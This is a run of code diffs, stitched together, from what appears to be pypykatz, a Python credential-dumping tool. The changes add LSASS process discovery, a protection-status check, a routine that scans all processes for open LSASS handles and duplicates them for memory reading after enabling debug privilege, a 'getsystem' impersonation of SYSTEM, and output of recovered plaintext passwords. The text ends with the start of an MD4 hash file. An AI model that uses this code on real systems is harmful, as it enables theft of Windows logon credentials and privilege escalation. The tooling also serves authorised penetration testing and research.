636 | _fields_ = (('IsProtectedProcess', ULONG, 1), | |
637 | ('IsWow64Process', ULONG, 1), | |
638 | ('IsProcessDeleting', ULONG, 1), | |
639 | ('IsCrossSessionCreate', ULONG, 1), | |
640 | ('IsFrozen', ULONG, 1), | |
641 | ('IsBackground', ULONG, 1), | |
642 | ('IsStronglyNamed', ULONG, 1), | |
643 | ('IsSecureProcess', ULONG, 1), | |
644 | ('IsSubsystemProcess', ULONG, 1), | |
645 | ('SpareBits', ULONG,23)) | |
646 | ||
647 | class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION(Union): | |
648 | _anonymous_ = ('obj',) | |
649 | _fields_ = (('Flags', ULONG), | |
650 | ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1)) | |
651 | ||
652 | ||
653 | class PROCESS_EXTENDED_BASIC_INFORMATION(Structure): | |
654 | _anonymous_ = ('obj',) | |
655 | _fields_ = (('Size', SIZE_T), | |
656 | ('BasicInfo', PROCESS_BASIC_INFORMATION), | |
657 | ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION)) | |
658 | ||
659 | ||
660 | class UNION_PS_PROTECTION(Structure): | |
661 | _fields_ = (('Type', UCHAR, 3), | |
662 | ('Audit', BOOLEAN, 1), | |
663 | ('Signer', UCHAR, 4), | |
664 | ) | |
665 | ||
666 | class PS_PROTECTION(Union): | |
667 | _anonymous_ = ('obj',) | |
668 | _fields_ = (('Level', UCHAR), | |
669 | ('obj', UNION_PS_PROTECTION), | |
670 | ) |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from .kernel32 import * | |
7 | from .psapi import * | |
6 | from pypykatz.commons.readers.local.common.kernel32 import * | |
7 | from pypykatz.commons.readers.local.common.psapi import * | |
8 | 8 | |
9 | 9 | class WindowsMinBuild(enum.Enum): |
10 | 10 | WIN_XP = 2500 |
47 | 47 | else: |
48 | 48 | PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF |
49 | 49 | |
50 | ||
51 | def QueryDosDevice(drive_letter): | |
52 | buffer_length = 1024 | |
53 | buf = ctypes.create_unicode_buffer(buffer_length) | |
54 | status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length) | |
55 | if status == 0: | |
56 | raise ctypes.WinError() | |
57 | return buf.value | |
58 | ||
59 | ||
60 | def get_drives(): | |
61 | drives = [] | |
62 | bitmask = windll.kernel32.GetLogicalDrives() | |
63 | for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': | |
64 | if bitmask & 1: | |
65 | drives.append(letter + ':') | |
66 | bitmask >>= 1 | |
67 | return drives | |
68 | ||
69 | def get_device_prefixes(): | |
70 | device_prefixes = {} | |
71 | drives = get_drives() | |
72 | for drive in drives: | |
73 | device_prefixes[QueryDosDevice(drive)] = drive | |
74 | return device_prefixes | |
75 | ||
76 | DEVICE_PREFIXES = get_device_prefixes() | |
77 | ||
78 | WINDOWS_BUILD_NUMBER = getWindowsBuild() | |
50 | 79 | PROCESS_QUERY_INFORMATION = 0x0400 |
80 | PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 | |
51 | 81 | PROCESS_VM_READ = 0x0010 |
52 | ||
53 | ||
82 | MAXIMUM_ALLOWED = 33554432 | |
83 | STATUS_INFO_LENGTH_MISMATCH = -1073741820 | |
84 | MAX_PATH_UNICODE = 1 << 15 | |
85 | ||
86 | # Get full normalized image path of a process using NtQuerySystemInformation | |
87 | # It doesn't need any special privileges | |
88 | def get_process_full_imagename(pid): | |
89 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
90 | image_filename = '' | |
91 | buf = ctypes.create_unicode_buffer(0x1000) | |
92 | process_info = SYSTEM_PROCESS_ID_INFORMATION() | |
93 | process_info.ProcessId = ctypes.c_void_p(pid) | |
94 | process_info.ImageName.MaximumLength = len(buf) | |
95 | process_info.ImageName.Buffer = addressof(buf) | |
96 | status = _NtQuerySystemInformation( | |
97 | SystemProcessIdInformation, | |
98 | process_info, | |
99 | sizeof(process_info), | |
100 | None) | |
101 | if status == STATUS_INFO_LENGTH_MISMATCH: | |
102 | buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE) | |
103 | process_info.ImageName.MaximumLength = len(buf) | |
104 | process_info.ImageName.Buffer = addressof(buf) | |
105 | status = _NtQuerySystemInformation( | |
106 | SystemProcessIdInformation, | |
107 | process_info, | |
108 | sizeof(process_info), | |
109 | None) | |
110 | if status == 0: | |
111 | image_filename = str(process_info.ImageName.Buffer) | |
112 | if image_filename.startswith('\\Device\\'): | |
113 | for win_path in DEVICE_PREFIXES: | |
114 | if image_filename.startswith(win_path): | |
115 | image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):] | |
116 | else: | |
117 | image_filename = 'N/A' | |
118 | return image_filename | |
119 | ||
120 | PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"] | |
121 | PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa", | |
122 | "Windows", "WinTcb", "WinSystem", "StoreApp"] | |
123 | PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"] | |
124 | ||
54 | 125 | #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx |
126 | #def enum_process_names(): | |
127 | # pid_to_fullname = {} | |
128 | # | |
129 | # for pid in EnumProcesses(): | |
130 | # if pid == 0: | |
131 | # continue | |
132 | # | |
133 | # pid_to_fullname[pid] = get_process_full_imagename(pid) | |
134 | # return pid_to_fullname | |
135 | ||
55 | 136 | def enum_process_names(): |
56 | 137 | pid_to_name = {} |
57 | 138 | |
66 | 147 | |
67 | 148 | pid_to_name[pid] = QueryFullProcessImageNameW(process_handle) |
68 | 149 | return pid_to_name |
69 | ||
150 | ||
151 | def get_process_extended_basic_information(pid,process_handle=None): | |
152 | process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION() | |
153 | process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION) | |
154 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
155 | if process_handle == None: | |
156 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
157 | ||
158 | status = _NtQueryInformationProcess(process_handle, | |
159 | ProcessBasicInformation, | |
160 | byref(process_basic_info), | |
161 | process_basic_info.Size, | |
162 | None) | |
163 | if status < 0: | |
164 | raise ctypes.WinError() | |
165 | CloseHandle(process_handle) | |
166 | return process_basic_info | |
167 | ||
168 | ||
169 | def get_protected_process_infos(pid,process_handle=None): | |
170 | process_protection_infos = None | |
171 | _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess | |
172 | if process_handle == None: | |
173 | process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid) | |
174 | if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value: | |
175 | protection_info = PS_PROTECTION() | |
176 | status = _NtQueryInformationProcess(process_handle, | |
177 | ProcessProtectionInformation, | |
178 | byref(protection_info), | |
179 | sizeof(protection_info), | |
180 | None) | |
181 | if status < 0: | |
182 | raise ctypes.WinError() | |
183 | if protection_info.Type > 0: | |
184 | process_protection_infos = {"level": protection_info.Level, | |
185 | "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type], | |
186 | "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer], | |
187 | "audit": protection_info.Audit} | |
188 | else: | |
189 | _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle) | |
190 | if _ps_extended_basic_information.IsProtectedProcess: | |
191 | process_protection_infos = {"type": 'System protected process'} | |
192 | CloseHandle(process_handle) | |
193 | return process_protection_infos | |
70 | 194 | |
71 | 195 | def get_lsass_pid(): |
72 | 196 | pid_to_name = enum_process_names() |
73 | 197 | for pid in pid_to_name: |
74 | if pid_to_name[pid].lower().find('lsass.exe') != -1: | |
198 | if pid_to_name[pid].lower().endswith('lsass.exe'): | |
75 | 199 | return pid |
76 | 200 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
201 | raise Exception('Failed to find lsass.exe') |
286 | 286 | self.move(pos) |
287 | 287 | return self.read_uint() |
288 | 288 | |
289 | def find_in_module(self, module_name, pattern): | |
290 | t = self.reader.search_module(module_name, pattern) | |
289 | def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False): | |
290 | t = self.reader.search_module(module_name, pattern, find_first = find_first, reverse_order = reverse_order) | |
291 | 291 | return t |
292 | 292 | |
293 | 293 | |
294 | 294 | class LiveReader: |
295 | def __init__(self): | |
295 | def __init__(self, lsass_process_handle = None): | |
296 | 296 | self.processor_architecture = None |
297 | 297 | self.lsass_process_name = 'lsass.exe' |
298 | self.lsass_process_handle = None | |
298 | self.lsass_process_handle = lsass_process_handle | |
299 | 299 | self.current_position = None |
300 | 300 | self.BuildNumber = None |
301 | 301 | self.modules = [] |
338 | 338 | buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber') |
339 | 339 | self.BuildNumber = int(buildnumber) |
340 | 340 | |
341 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Opening lsass.exe') | |
346 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
347 | 341 | if self.lsass_process_handle is None: |
348 | raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error())) | |
349 | ||
342 | logging.log(1, 'Searching for lsass.exe') | |
343 | pid = get_lsass_pid() | |
344 | logging.log(1, 'Lsass.exe found at PID %d' % pid) | |
345 | logging.log(1, 'Checking Lsass.exe protection status') | |
346 | #proc_protection_info = get_protected_process_infos(pid) | |
347 | #protection_msg = "Protection Status: No protection" | |
348 | #if proc_protection_info: | |
349 | # protection_msg = f"Protection Status: {proc_protection_info['type']}" | |
350 | # if 'signer' in proc_protection_info: | |
351 | # protection_msg += f" ({proc_protection_info['signer']})" | |
352 | # raise Exception('Failed to open lsass.exe Reason: %s' % protection_msg) | |
353 | #logging.log(1, protection_msg) | |
354 | logging.log(1, 'Opening lsass.exe') | |
355 | self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) | |
356 | if self.lsass_process_handle is None: | |
357 | raise Exception('Failed to open lsass.exe Reason: %s' % ctypes.WinError()) | |
358 | else: | |
359 | logging.debug('Using pre-defined handle') | |
350 | 360 | logging.log(1, 'Enumerating modules') |
351 | 361 | module_handles = EnumProcessModules(self.lsass_process_handle) |
352 | 362 | for module_handle in module_handles: |
391 | 401 | return mod |
392 | 402 | return None |
393 | 403 | |
394 | def search_module(self, module_name, pattern): | |
404 | def search_module(self, module_name, pattern, find_first = False, reverse_order = False): | |
395 | 405 | mod = self.get_module_by_name(module_name) |
396 | 406 | if mod is None: |
397 | 407 | raise Exception('Could not find module! %s' % module_name) |
398 | t = [] | |
408 | needles = [] | |
399 | 409 | for page in mod.pages: |
400 | t += page.search(pattern, self.lsass_process_handle) | |
401 | #for ms in self.pages: | |
402 | # if mod.baseaddress <= ms.start_virtual_address < mod.endaddress: | |
403 | # t+= ms.search(pattern, self.lsass_process_handle) | |
404 | ||
405 | return t | |
406 | ||
407 | ||
408 | ||
409 | ||
410 | needles += page.search(pattern, self.lsass_process_handle) | |
411 | if len(needles) > 0 and find_first is True: | |
412 | return needles | |
413 | ||
414 | return needles | |
410 | 415 | |
411 | 416 | if __name__ == '__main__': |
412 | 417 | logging.basicConfig(level=1) |
205 | 205 | return module |
206 | 206 | |
207 | 207 | |
208 | def find_in_module(self, module_name, pattern): | |
208 | def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False): | |
209 | 209 | if module_name.lower() not in self.modules: |
210 | 210 | raise Exception('Module is not in lsass emmory space! %s' % module_name) |
211 | 211 | module = self.modules[module_name.lower()] |
200 | 200 | def peek(self, size): |
201 | 201 | return self.proc_layer.read(self.cur_pos, size) |
202 | 202 | |
203 | def find_in_module(self, module_name, pattern): | |
203 | def find_in_module(self, module_name, pattern, find_first = False, reverse_order = False): | |
204 | 204 | if module_name.lower() not in self.modules: |
205 | 205 | raise Exception('Module is not in lsass memory space! %s' % module_name) |
206 | 206 | module = self.modules[module_name.lower()] |
224 | 224 | t = cred.to_dict() |
225 | 225 | if t['credtype'] != 'dpapi': |
226 | 226 | if t['password'] is not None: |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
227 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), ''] | |
228 | 228 | yield 0, x |
229 | 229 | else: |
230 | 230 | t = cred.to_dict() |
8 | 8 | import logging |
9 | 9 | from minidump.win_datatypes import DWORD, LONG, LONGLONG, \ |
10 | 10 | POINTER, UINT8, ULONG, PWSTR, USHORT, PCHAR, SHORT, \ |
11 | BYTE, PVOID, WORD | |
11 | BYTE, PVOID, WORD, DWORD64 | |
12 | 12 | #from pypykatz.commons.common import * |
13 | 13 | |
14 | 14 | class LARGE_INTEGER: |
205 | 205 | self.Data3 = WORD(reader).value |
206 | 206 | self.Data4 = reader.read(8) |
207 | 207 | self.value = '-'.join([ |
208 | hex(self.Data1)[2:], | |
209 | hex(self.Data2)[2:], | |
210 | hex(self.Data3)[2:], | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:], | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:] | |
208 | hex(self.Data1)[2:].zfill(8), | |
209 | hex(self.Data2)[2:].zfill(4), | |
210 | hex(self.Data3)[2:].zfill(4), | |
211 | hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4), | |
212 | hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12) | |
213 | 213 | ]) |
214 | ||
215 | @staticmethod | |
216 | def from_string(str): | |
217 | guid = GUID() | |
218 | guid.Data1 = bytes.fromhex(str.split('-')[0]) | |
219 | guid.Data2 = bytes.fromhex(str.split('-')[1]) | |
220 | guid.Data3 = bytes.fromhex(str.split('-')[2]) | |
221 | guid.Data4 = bytes.fromhex(str.split('-')[3]) | |
222 | guid.Data4 += bytes.fromhex(str.split('-')[4]) | |
223 | return guid | |
214 | 224 | |
215 | 225 | class PLIST_ENTRY(POINTER): |
216 | 226 | def __init__(self, reader): |
221 | 231 | self.location = reader.tell() |
222 | 232 | self.Flink = PLIST_ENTRY(reader) |
223 | 233 | self.Blink = PLIST_ENTRY(reader) |
224 | ⏎ | |
234 |
0 | 0 | |
1 | 1 | import ctypes |
2 | 2 | from pypykatz.commons.winapi.constants import * |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY | |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY | |
4 | 4 | from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW |
5 | 5 | |
6 | 6 | |
72 | 72 | @staticmethod |
73 | 73 | def SetThreadToken(token_handle, thread_handle = None): |
74 | 74 | return SetThreadToken(token_handle, thread_handle = thread_handle) |
75 | ||
76 | @staticmethod | |
77 | def RevertToSelf(): | |
78 | return RevertToSelf() | |
75 | 79 | ⏎ |
3204 | 3204 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value): |
3205 | 3205 | raise ctypes.WinError() |
3206 | 3206 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW) |
3207 | for index in xrange(0, ServicesReturned.value): | |
3207 | for index in range(0, ServicesReturned.value): | |
3208 | 3208 | Services.append( ServiceStatusEntry(lpServicesArray[index]) ) |
3209 | 3209 | if success: break |
3210 | 3210 | if not success: |
3318 | 3318 | |
3319 | 3319 | _SetThreadToken(thread_handle, token_handle) |
3320 | 3320 | |
3321 | ||
3321 | def RevertToSelf(): | |
3322 | _RevertToSelf = windll.advapi32.RevertToSelf | |
3323 | _RevertToSelf.argtypes = [] | |
3324 | _RevertToSelf.restype = bool | |
3325 | _RevertToSelf.errcheck = RaiseIfZero | |
3326 | ||
3327 | _RevertToSelf() | |
3322 | 3328 | |
3323 | 3329 | #============================================================================== |
3324 | 3330 | # This calculates the list of exported symbols. |
702 | 702 | ("MaximumLength", USHORT), |
703 | 703 | ("Buffer", PVOID), |
704 | 704 | ] |
705 | ||
706 | def getString(self): | |
707 | return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le') | |
705 | 708 | |
706 | 709 | # From MSDN: |
707 | 710 | # |
64 | 64 | WRITE_WATCH_FLAG_RESET = 0x01 |
65 | 65 | FILE_MAP_ALL_ACCESS = 0xF001F |
66 | 66 | |
67 | PROCESS_DUP_HANDLE = 0x0040 | |
68 | ||
67 | 69 | class UserModeHandle (HANDLE): |
68 | 70 | """ |
69 | 71 | Base class for non-kernel handles. Generally this means they are closed |
341 | 343 | _GetCurrentProcessId.argtypes = [] |
342 | 344 | _GetCurrentProcessId.restype = DWORD |
343 | 345 | return _GetCurrentProcessId() |
346 | ||
347 | # HANDLE WINAPI GetCurrentProcess(void); | |
348 | def GetCurrentProcess(): | |
349 | ## return 0xFFFFFFFFFFFFFFFFL | |
350 | _GetCurrentProcess = windll.kernel32.GetCurrentProcess | |
351 | _GetCurrentProcess.argtypes = [] | |
352 | _GetCurrentProcess.restype = HANDLE | |
353 | return _GetCurrentProcess() | |
344 | 354 | |
345 | 355 | # BOOL WINAPI QueryFullProcessImageName( |
346 | 356 | # __in HANDLE hProcess, |
3 | 3 | import enum |
4 | 4 | import logging |
5 | 5 | |
6 | from pypykatz import logger | |
7 | from .ntdll import * | |
6 | 8 | from .kernel32 import * |
7 | 9 | from .psapi import * |
8 | 10 | |
74 | 76 | if pid_to_name[pid].lower().find('lsass.exe') != -1: |
75 | 77 | return pid |
76 | 78 | |
77 | raise Exception('Failed to find lsass.exe')⏎ | |
79 | raise Exception('Failed to find lsass.exe') | |
80 | ||
81 | def enum_lsass_handles(): | |
82 | #searches for open LSASS process handles in all processes | |
83 | # you should be having SE_DEBUG enabled at this point | |
84 | RtlAdjustPrivilege(20) | |
85 | ||
86 | lsass_handles = [] | |
87 | sysinfohandles = NtQuerySystemInformation(16) | |
88 | for pid in sysinfohandles: | |
89 | if pid == 4: | |
90 | continue | |
91 | #if pid != GetCurrentProcessId(): | |
92 | # continue | |
93 | for syshandle in sysinfohandles[pid]: | |
94 | #print(pid) | |
95 | try: | |
96 | pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid) | |
97 | except Exception as e: | |
98 | logger.debug('Error opening process %s Reason: %s' % (pid, e)) | |
99 | continue | |
100 | ||
101 | try: | |
102 | dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ) | |
103 | #print(dupHandle) | |
104 | except Exception as e: | |
105 | logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
106 | continue | |
107 | ||
108 | oinfo = NtQueryObject(dupHandle, ObjectTypeInformation) | |
109 | if oinfo.Name.getString() == 'Process': | |
110 | try: | |
111 | pname = QueryFullProcessImageNameW(dupHandle) | |
112 | if pname.lower().find('lsass.exe') != -1: | |
113 | logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) | |
114 | #print('%s : %s' % (pid, pname)) | |
115 | lsass_handles.append((pid, dupHandle)) | |
116 | except Exception as e: | |
117 | logger.debug('Failed to obtain the path of the process! PID: %s' % pid) | |
118 | continue | |
119 | ||
120 | return lsass_handles | |
121 | ⏎ |
2 | 2 | from ctypes import windll |
3 | 3 | from ctypes.wintypes import ULONG, BOOL,LONG |
4 | 4 | |
5 | from .defines import * | |
5 | from pypykatz.commons.winapi.local.function_defs.defines import * | |
6 | ||
7 | SystemHandleInformation = 16 | |
8 | ObjectBasicInformation = 0 | |
9 | ObjectNameInformation = 1 | |
10 | ObjectTypeInformation = 2 | |
11 | ||
12 | ||
13 | POOL_TYPE = ctypes.c_int | |
14 | NonPagedPool = 1 | |
15 | PagedPool = 2 | |
16 | NonPagedPoolMustSucceed = 3 | |
17 | DontUseThisType = 4 | |
18 | NonPagedPoolCacheAligned = 5 | |
19 | PagedPoolCacheAligned = 6 | |
20 | NonPagedPoolCacheAlignedMustS = 7 | |
21 | ||
22 | # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping | |
23 | class GENERIC_MAPPING(Structure): | |
24 | _fields_ = [ | |
25 | ("GenericRead", ACCESS_MASK ), | |
26 | ("GenericWrite", ACCESS_MASK ), | |
27 | ("GenericExecute", ACCESS_MASK ), | |
28 | ("GenericAll", ACCESS_MASK ), | |
29 | ] | |
30 | ||
31 | PGENERIC_MAPPING = POINTER(GENERIC_MAPPING) | |
32 | ||
33 | class SYSTEM_HANDLE(Structure): | |
34 | _fields_ = [ | |
35 | ("ProcessId", ULONG), | |
36 | ("ObjectTypeNumber", BYTE), | |
37 | ("Flags", BYTE), | |
38 | ("Handle", USHORT), | |
39 | ("Object", PVOID), | |
40 | ("GrantedAccess", ACCESS_MASK), | |
41 | ] | |
42 | ||
43 | PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE) | |
44 | ||
45 | #class SYSTEM_HANDLE_INFORMATION(Structure): | |
46 | # _fields_ = [ | |
47 | # ("HandleCount", ULONG), | |
48 | # ("Handles", SYSTEM_HANDLE), #not just one handle | |
49 | # ] | |
50 | # | |
51 | #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION) | |
52 | ||
53 | class OBJECT_TYPE_INFORMATION(Structure): | |
54 | _fields_ = [ | |
55 | ("Name", UNICODE_STRING), | |
56 | ("TotalNumberOfObjects", ULONG), | |
57 | ("TotalNumberOfHandles", ULONG), | |
58 | ("TotalPagedPoolUsage", ULONG), | |
59 | ("TotalNonPagedPoolUsage", ULONG), | |
60 | ("TotalNamePoolUsage", ULONG), | |
61 | ("TotalHandleTableUsage", ULONG), | |
62 | ("HighWaterNumberOfObjects", ULONG), | |
63 | ("HighWaterNumberOfHandles", ULONG), | |
64 | ("HighWaterPagedPoolUsage", ULONG), | |
65 | ("HighWaterNonPagedPoolUsage", ULONG), | |
66 | ("HighWaterNamePoolUsage", ULONG), | |
67 | ("HighWaterHandleTableUsage", ULONG), | |
68 | ("GenericMapping", GENERIC_MAPPING), | |
69 | ("ValidAccess", ULONG), | |
70 | ("SecurityRequired", BOOLEAN), | |
71 | ("MaintainHandleCount", BOOLEAN), | |
72 | ("MaintainTypeList", USHORT), | |
73 | ("PoolType", POOL_TYPE), | |
74 | ("PagedPoolUsage", ULONG), | |
75 | ("NonPagedPoolUsage", ULONG), | |
76 | ] | |
77 | ||
78 | POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION) | |
79 | ||
6 | 80 | |
7 | 81 | # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html |
8 | 82 | # BOOL WINAPI RtlAdjustPrivilege( |
27 | 101 | if status != 0: |
28 | 102 | raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status) |
29 | 103 | |
30 | return Enabled.value⏎ | |
104 | return Enabled.value | |
105 | ||
106 | # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation | |
107 | def NtQuerySystemInformation(info_type): | |
108 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
109 | _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG] | |
110 | _NtQuerySystemInformation.restype = ULONG | |
111 | ||
112 | handleinfos = {} | |
113 | ||
114 | if info_type != 16: | |
115 | raise Exception('info_type only the value 16 is supported!') | |
116 | ||
117 | size = DWORD(0x10) | |
118 | data = ctypes.create_string_buffer(size.value) | |
119 | while True: | |
120 | #_NtQuerySystemInformation returns an incorrect expected size... | |
121 | size = DWORD(size.value*2) | |
122 | data = ctypes.create_string_buffer(size.value) | |
123 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
124 | if status == 0: | |
125 | break | |
126 | if status != 0xC0000004: | |
127 | raise Exception('NtQuerySystemInformation returned %s' % hex(status)) | |
128 | ||
129 | status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size)) | |
130 | ||
131 | data_bytes = bytearray(data.raw[:size.value]) | |
132 | ||
133 | hc = ULONG.from_buffer(data_bytes) | |
134 | ||
135 | class SYSTEM_HANDLE_INFORMATION(Structure): | |
136 | _fields_ = [ | |
137 | ("HandleCount", ULONG), | |
138 | ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle | |
139 | ] | |
140 | ||
141 | ||
142 | syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes) | |
143 | ||
144 | for i in range(syshandleinfo.HandleCount): | |
145 | if not syshandleinfo.Handles[i].ProcessId in handleinfos: | |
146 | handleinfos[syshandleinfo.Handles[i].ProcessId] = [] | |
147 | handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i]) | |
148 | ||
149 | return handleinfos | |
150 | ||
151 | ||
152 | def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0): | |
153 | """ | |
154 | privilige_id: int | |
155 | """ | |
156 | _NtDuplicateObject = windll.ntdll.NtDuplicateObject | |
157 | _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG] | |
158 | _NtDuplicateObject.restype = ULONG | |
159 | ||
160 | ||
161 | ||
162 | oHandle = HANDLE() | |
163 | status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0) | |
164 | if status != 0: | |
165 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % status) | |
166 | ||
167 | return oHandle | |
168 | ||
169 | def NtQueryObject(ObjectHandle, ObjectInformationClass): | |
170 | """ | |
171 | privilige_id: int | |
172 | """ | |
173 | _NtQueryObject = windll.ntdll.NtQueryObject | |
174 | _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG] | |
175 | _NtQueryObject.restype = ULONG | |
176 | ||
177 | #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]: | |
178 | if ObjectInformationClass != ObjectTypeInformation: | |
179 | raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass ) | |
180 | ||
181 | size = ULONG(0x10) | |
182 | oinfo_data = ctypes.create_string_buffer(size.value) | |
183 | ||
184 | while True: | |
185 | oinfo_data = ctypes.create_string_buffer(size.value) | |
186 | status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size)) | |
187 | if status == 0xc0000004: | |
188 | continue | |
189 | if status != 0: | |
190 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status)) | |
191 | ||
192 | break | |
193 | ||
194 | if ObjectInformationClass == ObjectNameInformation: | |
195 | raise NotImplementedError('TODO: implement me when needed!') | |
196 | elif ObjectInformationClass == ObjectTypeInformation: | |
197 | oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value])) | |
198 | ||
199 | return oinfo | |
200 | ⏎ |
202 | 202 | else: |
203 | 203 | logger.debug('[ProcessManipulator] Sucsessfully created process!') |
204 | 204 | break |
205 | ||
206 | def getsystem(self): | |
207 | self.assign_token_thread_sid('S-1-5-18') | |
208 | ||
209 | def dropsystem(self): | |
210 | self.api.advapi32.RevertToSelf() | |
205 | 211 | |
206 | 212 | if __name__ == '__main__': |
207 | 213 | pm = ProcessManipulator() |
0 | #!/usr/bin/env python3 | |
1 | # -*- coding: utf-8 -*- | |
2 | # | |
3 | # Copyright © 2019 James Seo <[email protected]> (github.com/kangtastic). | |
4 | # | |
5 | # This file is released under the WTFPL, version 2 (wtfpl.net). | |
6 | # | |
7 | # md4.py: An implementation of the MD4 hash algorithm in pure Python 3. | |
8 | # | |
9 | # Description: Zounds! Yet another rendition of pseudocode from RFC1320! | |
10 | # Bonus points for the algorithm literally being from 1992. | |
11 | # | |
12 | # Usage: Why would anybody use this? This is self-rolled crypto, and | |
13 | # self-rolled *obsolete* crypto at that. DO NOT USE if you need | |
14 | # something "performant" or "secure". :P | |
15 | # | |
16 | # Anyway, from the command line: | |
17 | # | |
18 | # $ ./md4.py [messages] | |
19 | # | |
20 | # where [messages] are some strings to be hashed. | |
21 | # | |
22 | # In Python, use similarly to hashlib (not that it even has MD4): | |
23 | # | |
24 | # from .md4 import MD4 | |
25 | # | |
26 | # digest = MD4("BEES").hexdigest() | |
27 | # | |
28 | # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68" | |
29 | # | |
30 | # | |
31 | # Sample console output: | |
32 | # | |
33 | # Testing the MD4 class. | |
34 | # | |
35 | # Message: b'' | |
36 | # Expected: 31d6cfe0d16ae931b73c59d7e0c089c0 | |
37 | # Actual: 31d6cfe0d16ae931b73c59d7e0c089c0 | |
38 | # | |
